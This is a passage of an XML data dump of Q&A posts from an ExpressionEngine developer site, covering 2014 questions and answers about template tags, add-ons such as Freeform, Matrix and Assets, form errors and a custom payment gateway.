OwnerUserId="1918" LastActivityDate="2014-03-02T20:41:14.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19886" PostTypeId="2" ParentId="19877" CreationDate="2014-03-02T21:05:35.740" Score="0" Body="&lt;p&gt;Second time lucky!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that Hansl was actually trying to have a check box field populate CartThrob item options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That can be achieved by replacing his code with... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;item_options[maat]&quot;&amp;gt;&#xA;  {maat}&#xA;    &amp;lt;option value=&quot;{item}&quot;&amp;gt;{item}&amp;lt;/option&amp;gt;&#xA;  {/maat}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-02T21:05:35.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19887" PostTypeId="1" AcceptedAnswerId="19895" CreationDate="2014-03-02T23:04:05.037" Score="0" ViewCount="118" Body="&lt;p&gt;I have a Contact Us form that is being generated in Composer and being assigned to my template via the Freeform Fieldtype. The template code simply uses the custom_field name:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. {modal_form}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form has a select statement that allows the user to select a location. Depending on the user's selection I would like that location to be notified via email of the form submission. Currently the site administrator has to manually forward the email to the correct location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-03-03T07:11:59.600" Title="Freeform: sending Composer form submission notification to a dynamic email address" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19888" PostTypeId="1" CreationDate="2014-03-03T00:38:33.090" Score="2" ViewCount="55" Body="&lt;p&gt;Reading the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/forum/recent_forum_topics.html#auto-thread-path&quot; rel=&quot;nofollow&quot;&gt;expression engine forum display forum topics&lt;/a&gt;&#xA;There is no count variable. I want to alternate classes for each result so it can have different background colors. There is no other property I can use that would also stand in for it for alternation. Anyone know what I can do for alternating classes for each forum topic result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if anyone will see this, I miss the forums.&lt;/p&gt;&#xA;" OwnerUserId="2802" LastActivityDate="2014-03-07T19:04:07.380" Title="Expression Engine Forum Alternating Classes" Tags="|module|forum|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19890" PostTypeId="1" AcceptedAnswerId="19951" CreationDate="2014-03-03T01:03:00.713" Score="0" ViewCount="88" Body="&lt;p&gt;I'd like to add a placeholder attribute to a textarea Matrix cell in a SafeCracker form (so I can add some placeholder text to the field that says, 'Add your feedback here...'), and I'm using EE 2.5.5 and Matrix 2.5.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to hack any of the Matrix files to do this, so was hoping someone might have used a JavaScript solution for this previously and be able to share the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the front-end output for this particular Matrix cell, and the entire Matrix field is surrounded by a div with an ID of cf_amendment_details. Thanks for any help with this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;matrix matrix-last matrix-text&quot;&amp;gt;&amp;lt;textarea class=&quot;matrix-textarea&quot; name=&quot;cf_amendment_details[row_new_0][col_id_19]&quot; rows=&quot;1&quot; dir=&quot;ltr&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2014-03-04T11:37:57.260" Title="How to add a placeholder attribute to a Matrix cell in a SafeCracker form" Tags="|matrix|safecracker|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19891" PostTypeId="1" AcceptedAnswerId="19944" CreationDate="2014-03-03T03:57:05.860" Score="0" ViewCount="51" Body="&lt;p&gt;The database has a string which is a date in the format of dd/mm/yyyy (13/03/2014). No, it has not been saved to the database as a proper date/time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Low Replace we are able to change the format of this to yyyy/mmm/dd&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;/(\d{2})\/(\d{2})\/(\d{4})/&quot; replace=&quot;$3/$2/$1&quot; regex=&quot;yes&quot;}&#xA;  13/03/2014&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to apply Nice Date to the date after Replace has done it's thing as nice date won't work with dd/mm/yyyy? Or do we need to use something like Stash to create a variable for Nice date to work with once Replace has converted it?&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2014-03-04T09:06:48.740" Title="Using Low Replace and Low Nice Date Together" Tags="|low|low-replace|low-nice-date|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19892" PostTypeId="1" CreationDate="2014-03-03T05:05:35.133" Score="1" ViewCount="146" Body="&lt;p&gt;&lt;strong&gt;EE v2.4&lt;/strong&gt; but also tried updating first to EE 2.8 with same results as per below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Christiaan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When trying to update I receive the following:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1265&#xA;&#xA;Data truncated for column 'folder_id' at row 2&#xA;&#xA;ALTER TABLE exp_assets_files MODIFY COLUMN `folder_id` INT(10) NOT NULL AFTER `file_id`&#xA;&#xA;Filename: /Library/WebServer/sites/disegno/_ee/_third_party/assets/upd.assets.php&#xA;&#xA;Line Number: 551&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And then if I try again I get the following:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1146&#xA;&#xA;Table 'disegno_com_au.exp_assets_entries' doesn't exist&#xA;&#xA;SHOW COLUMNS FROM `exp_assets_entries` LIKE &quot;var_id&quot;&#xA;&#xA;Filename: /Library/WebServer/sites/disegno/_ee/_third_party/assets/upd.assets.php&#xA;&#xA;Line Number: 341&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="739" LastActivityDate="2015-02-10T13:37:12.170" Title="Database error when updating Assets 1.1.4 to latest (2.2.4)" Tags="|assets|pixelandtonic|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19893" PostTypeId="1" CreationDate="2014-03-03T06:21:28.467" Score="1" ViewCount="107" Body="&lt;p&gt;Is there anyway to implement Forgot Password with Ajax. I tried the &lt;a href=&quot;https://www.objectivehtml.com/authenticate&quot; rel=&quot;nofollow&quot;&gt;Authenticate&lt;/a&gt; &#xA;but it doesn't working properly with EE v2.7+. Could anyone please help me.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-03-03T07:16:48.837" Title="Forgot Password with Ajax" Tags="|ajax|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19894" PostTypeId="1" AcceptedAnswerId="19897" CreationDate="2014-03-03T06:40:59.827" Score="1" ViewCount="67" Body="&lt;p&gt;I'm currently using EE 2.7.3 and Assets 2.2.2 with AWS (Amazon Web Services), which works beautifully, however when I removed a few files off AWS, the files are still visible after weeks on my EE install.  Is there a way to resynchronize Assets and AWS so that the files I deleted off AWS are no longer being shown in Assets?&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2014-03-03T07:18:41.377" Title="Synchronize Assets with AWS" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19895" PostTypeId="2" ParentId="19887" CreationDate="2014-03-03T07:11:59.600" Score="0" Body="&lt;p&gt;Have you tried a Dynamic Recipients field on Composer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to set a select drop-down which impacts the recipients of the email.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-03T07:11:59.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19896" PostTypeId="2" ParentId="19893" CreationDate="2014-03-03T07:16:48.837" Score="1" Body="&lt;p&gt;You could probably load in &lt;a href=&quot;http://ee-zoo.com/docs/visitor/examples/forgot_password.html&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/docs/visitor/examples/forgot_password.html&lt;/a&gt; dynamically with Ajax into another template with relative ease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you could adjust &lt;a href=&quot;http://ee-zoo.com/docs/visitor/examples/login_ajax.html&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/docs/visitor/examples/login_ajax.html&lt;/a&gt; and call it in at an appropriate time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not quite right for you, could you clarify what you're after with the ajax implementation? It's a little ambiguous at the mo.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-03T07:16:48.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19897" PostTypeId="2" ParentId="19894" CreationDate="2014-03-03T07:18:41.377" Score="1" Body="&lt;p&gt;Have you pressed &quot;Updated Indexes&quot; in the main Assets module screen (rather than the field type)?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-03T07:18:41.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19898" PostTypeId="2" ParentId="19891" CreationDate="2014-03-03T07:25:16.343" Score="0" Body="&lt;p&gt;You might have luck with this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date date=&quot;{exp:low_replace find=&quot;/(\d{2})\/(\d{2})\/(\d{4})/&quot; replace=&quot;$3/$2/$1&quot; regex=&quot;yes&quot;}13/03/2014{/exp:low_replace}&quot; format=&quot;%F %Y&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that works, consider moving the low_replace into a snippet so it's easier to read&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date date=&quot;{sn_fixed-date}&quot; format=&quot;%F %Y&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-03T07:25:16.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19899" PostTypeId="2" ParentId="19873" CreationDate="2014-03-03T07:55:33.503" Score="1" Body="&lt;p&gt;You're basically just looking for a way to filter down channel entries based on a filled out form. Take a look at either Solspace's &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;Super Search&lt;/a&gt; or my own &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;. Both should be up for the job.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-03T07:55:33.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19900" PostTypeId="1" CreationDate="2014-03-03T11:09:13.787" Score="0" ViewCount="63" Body="&lt;p&gt;I would like to use a conditional to hide or show information from an entry. The following code is pulling in data from an EE relationship field. If there is no entry I would like this code NOT to show. I have tried to use {if}{/if} statements, but cannot work the code out!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;{manufacturer_profile:title}&amp;lt;/h4&amp;gt;   &#xA;&amp;lt;p&amp;gt;{manufacturer_profile:manufacturer_summary}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate some help on this. &lt;/p&gt;&#xA;" OwnerUserId="1650" LastActivityDate="2014-06-23T15:21:25.417" Title="Use conditional to hide or show entry" Tags="|relationships|conditionals|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19901" PostTypeId="1" CreationDate="2014-03-03T11:39:55.653" Score="1" ViewCount="81" Body="&lt;p&gt;I am creating a 'dashboard' for my users I use matrix to let them add their employment history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can update their profile via channel forms but&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - how can I insert/add data into the matrix fields (examples if you have a link to one please.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;is is possible to use the ajax style add row that I can when logged in as the superadmin in the EE backend? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-05-03T03:19:03.163" Title="matrix - using with channel fields" Tags="|ee2|matrix|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19902" PostTypeId="1" AcceptedAnswerId="19905" CreationDate="2014-03-03T11:57:45.493" Score="0" ViewCount="57" Body="&lt;p&gt;I want to create a link from the font side of my site to the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the session id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href =&quot;admin.php&quot;&amp;gt;go to admin&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This goes back to the login page even though I am logged in, how can I achieve this.&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-03T13:39:30.890" Title="create a link to admin area" Tags="|ee2|sessions|admin|links|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19903" PostTypeId="1" CreationDate="2014-03-03T12:31:04.647" Score="0" ViewCount="33" Body="&lt;p&gt;Installing the Clive Zagno &lt;a href=&quot;http://devot-ee.com/add-ons/ipgeo&quot; rel=&quot;nofollow&quot;&gt;IPGEO&lt;/a&gt; third-party plugin to EE2 third_party folder, my web page embededded with {exp:ipgeo:country} gives out &quot;webpage not available&quot; error. I tried debugging; however not to any success, any help here will be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Diwakar&lt;/p&gt;&#xA;" OwnerUserId="2804" LastActivityDate="2014-03-03T12:31:04.647" Title="ipgeo plugin errors" Tags="|ee2|plugin|ip|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19904" PostTypeId="1" CreationDate="2014-03-03T12:44:00.957" Score="1" ViewCount="463" Body="&lt;p&gt;When trying to update the status of an entry through channel form, I get an error that says &quot;The selected author is invalid&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just do be sure it's not a permissions problem due to lack of permissions for the user group of which the member trying to do the submit the form belongs to, I have set everything to &quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;channel=&quot;orders&quot;&#xA;entry_id=&quot;{entry_id}&quot;&#xA;return=&quot;ordre/vis/{url_title}&quot;&#xA;  }&#xA; {status_menu}&#xA;    &amp;lt;select name=&quot;status&quot; class=&quot;status&quot;&amp;gt;&#xA;        {select_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/status_menu}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;submit-status&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that with Super Admin it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="55" LastEditDate="2014-03-03T13:39:57.400" LastActivityDate="2014-07-31T00:50:18.873" Title="Channel form: &quot;The selected author is invalid&quot;" Tags="|channel-form|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19905" PostTypeId="2" ParentId="19902" CreationDate="2014-03-03T13:39:30.890" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;{cp_session_id}&lt;/code&gt; global variable to create a control panel link. See the documentation &lt;a href=&quot;http://www.ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#cp-session-id&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_group_id == &quot;1&quot;}&#xA;    &amp;lt;a href=&quot;{cp_url}?S={cp_session_id}&quot;&amp;gt;go to admin&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-03T13:39:30.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19906" PostTypeId="2" ParentId="19904" CreationDate="2014-03-03T13:42:30.780" Score="1" Body="&lt;p&gt;If it is guest posting, make sure you've allowed guests to post in the control panel (aside from user permissions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Allowing guest posts is controlled in the Channel From settings at Admin ‣ Channel Administration ‣ Channel Form.&quot;&lt;/p&gt;&#xA;" OwnerUserId="1773" LastEditorUserId="1773" LastEditDate="2014-03-03T13:48:44.090" LastActivityDate="2014-03-03T13:48:44.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19907" PostTypeId="2" ParentId="19904" CreationDate="2014-03-03T13:46:12.270" Score="0" Body="&lt;p&gt;Check to make sure that the &lt;strong&gt;Include Members in PUBLISH page multi-author list?&lt;/strong&gt; option is set to &lt;strong&gt;Yes&lt;/strong&gt; for the member group in question. (This setting may also have been overridden per member as well, under &lt;strong&gt;Member Preferences&lt;/strong&gt;).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-03-03T13:46:12.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19908" PostTypeId="1" AcceptedAnswerId="19909" CreationDate="2014-03-03T14:37:42.647" Score="0" ViewCount="293" Body="&lt;p&gt;I'm about to make a backend for a contest where people should be able to upload assets(documents,videos,sketches etc ) in their contest entry form.&#xA;Is there any smart way to get these videofiles uploaded automaticly to youtube/vimeo rigth/straight from the entry form ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it would be better just to have them provide a video link. Just investergating if any of you know other options (so they dont need to create their own youtubve/vimeo account , and later have all the content one place) ? &#xA;My idea was/is to have a private youtube/vimeo channel for all entry uploads, So they wont be able to see the other videos in the contest before winners are announced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone done something like this .. hint or guides ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers &lt;/p&gt;&#xA;" OwnerUserId="717" LastActivityDate="2014-03-04T02:25:53.360" Title="uploading videos to youtube or vimeo ( Save link in entry ) possible ?" Tags="|file-uploads|uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19909" PostTypeId="2" ParentId="19908" CreationDate="2014-03-03T15:03:02.463" Score="1" Body="&lt;p&gt;I don't believe there's an off the shelf Vimeo or YouTube uploader available currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you be open to using Amazon S3 for storage? If so, you could use Pixel &amp;amp; Tonic's Assets which allows you to use S3 as a file upload folder.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-03T15:03:02.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19910" PostTypeId="1" CreationDate="2014-03-03T15:31:53.347" Score="1" ViewCount="95" Body="&lt;p&gt;I'm sure this has something to do with the parse order or it might be a bug. I'm trying to set a Stash variable in the first matrix row. After looking at the template debugging, Stash sets the variable in each loop of the matrix, thus not listening to the conditional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;    {if row_count == 1}{exp:stash:set name=&quot;my_var&quot;}{option_value}{/exp:stash:set}{/if}&#xA;    ...&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I add a static character inside the conditional, it only parses once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added &lt;code&gt;replace=&quot;no&quot;&lt;/code&gt; parameter to the &lt;code&gt;stash:set&lt;/code&gt; tag which fixed the variable from being overwritten once it's set. However, I would still like to know if setting the variable like the above is possible or if I'm approaching it the wrong way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running a CartThrob site that has a ton of price modifiers (PM) for buying sheds online. A user can choose between several options, colors &amp;amp; other upgrades to build and buy a shed online. The site relies heavily on javascript which uses variables to construct files paths and other logic. Some PM fields I need to capture the 'default' options (first row of matrix field) to set variables for file paths and pricing logic. So instead of adding a ton of matrix pairs to the template where needed, I'm trying stay as DRY as possible. Hopefully that makes sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://d.pr/A2MN&quot; rel=&quot;nofollow&quot;&gt;Live Example&lt;/a&gt;, view console to see some variables (soft launch right now as we are adding more styles)&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2014-03-03T22:18:00.993" LastActivityDate="2014-03-04T14:06:33.300" Title="Setting a Stash variable in the first Matrix row" Tags="|matrix|stash|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19911" PostTypeId="1" CreationDate="2014-03-03T17:16:58.467" Score="2" ViewCount="47" Body="&lt;p&gt;I recently upgraded to Primary Category 2.2.1&#xA;The following code is returning the primary category id twice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had a similar problem with duplication?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:primary_category category_group=&quot;2&quot;}&#xA;    {primary_category_id}&#xA;{/exp:primary_category} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;regards,&#xA;Ciaran&lt;/p&gt;&#xA;" OwnerUserId="2805" LastEditorUserId="55" LastEditDate="2014-03-03T21:32:46.897" LastActivityDate="2014-04-13T12:21:53.847" Title="Solspace Primary Category returning the primary category id twice" Tags="|solspace|primary-category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19912" PostTypeId="1" CreationDate="2014-03-03T17:48:49.657" Score="1" ViewCount="322" Body="&lt;p&gt;I had a client run into trouble uploading an image in Assets and then trying to drop it in to the WYSIWYG editor. If the file had a &lt;strong&gt;.JPG&lt;/strong&gt; extension — in capital letters — the image would only appear as a file link in the editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lowercasing the file extension allowed the image to drop into the editor as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://than.to/io3&quot; rel=&quot;nofollow&quot;&gt;http://than.to/io3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="369" LastActivityDate="2014-03-03T17:48:49.657" Title="Images in Assets with .JPG (in capital letters) file extension don't appear in editor" Tags="|assets|wysiwyg|editor|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19914" PostTypeId="2" ParentId="19880" CreationDate="2014-03-03T18:52:51.227" Score="0" Body="&lt;p&gt;Try changing dynamic=&quot;off&quot; to dynamic=&quot;no&quot;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-03-03T18:52:51.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19915" PostTypeId="1" AcceptedAnswerId="20141" CreationDate="2014-03-03T19:51:32.677" Score="4" ViewCount="1584" Body="&lt;p&gt;I'm having problems with a freeform form since upgrading to EE2.8. It keeps giving the following error on submit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This form has expired. Please refresh and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template caching is off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running freeform 4.1.3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    form_name=&quot;contact_form&quot;&#xA;    return=&quot;contact_us/thank_you&#xA;}&#xA;&amp;lt;h3&amp;gt;Name:&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;Email:&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;Questions or Comments:&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;&amp;lt;textarea name=&quot;comment&quot; rows=&quot;6&quot; &amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Send It&quot; class=&quot;button&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:freeform:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="302" LastEditorUserId="55" LastEditDate="2014-03-03T21:32:12.330" LastActivityDate="2015-06-29T10:31:29.267" Title="Solspace freeform &quot;form expired&quot; under EE 2.8" Tags="|solspace-freeform|ee2-upgrades|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19916" PostTypeId="1" AcceptedAnswerId="19939" CreationDate="2014-03-03T21:37:01.743" Score="2" ViewCount="289" Body="&lt;p&gt;We're trying to write our own payment gateway plugin for store, using version 1.6.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payment gateway in question is the Croatian Webteh form (off-site) and we're having an issue with the landing page after the card gets processed on their server and the order payment status info gets sent back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Webteh gives us the following parameters in GET after a succesful payment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?approval_code=938745&amp;amp;authent&#xA;ication=&amp;amp;cc_type=master&amp;amp;currency=HRK&amp;amp;custom_params=&amp;amp;digest=9b345418cb4dd64a23f7459230079ba82d6e6331&amp;amp;enrollment=N&amp;amp;language=hr&amp;amp;order_number=24&amp;amp;response_code=0000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where exactly (route) does store handle returns from the payment gateway? Webteh has a fixed url in their administration panel where it redirects successful payments - what should we redirect to? Our webshop is set up at &lt;a href=&quot;http://www.example.com/webshop/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/webshop/&lt;/a&gt;. Should it be /webshop/checkout3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can't seem to figure out where purchase_return method is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1438" LastActivityDate="2014-03-04T05:23:53.387" Title="Custom payment gateway issues" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19917" PostTypeId="2" ParentId="19824" CreationDate="2014-03-03T21:46:29.473" Score="1" Body="&lt;p&gt;One or two people have enquired about it but I haven't seen or heard of any completed gateways for Paybox as of yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking to create your own then feel free to look at &lt;a href=&quot;https://github.com/expressodev/store_check&quot; rel=&quot;nofollow&quot;&gt;Store Check&lt;/a&gt; to get an idea of how that gateway is put together and integrated as it's own extension. The other gateways that ship with Store will also provide a good starting point so give that a go and contact support@exp-resso.com if you need any tips along the way.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-03-03T21:46:29.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19918" PostTypeId="2" ParentId="19872" CreationDate="2014-03-03T22:06:28.650" Score="3" Body="&lt;p&gt;The error has been confirmed as a bug in EE 2.8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug tracker: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20165&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20165&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue will  be fixed in the next release, and a patch has been posted to the bug tracker for any who need it.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-03T22:06:28.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
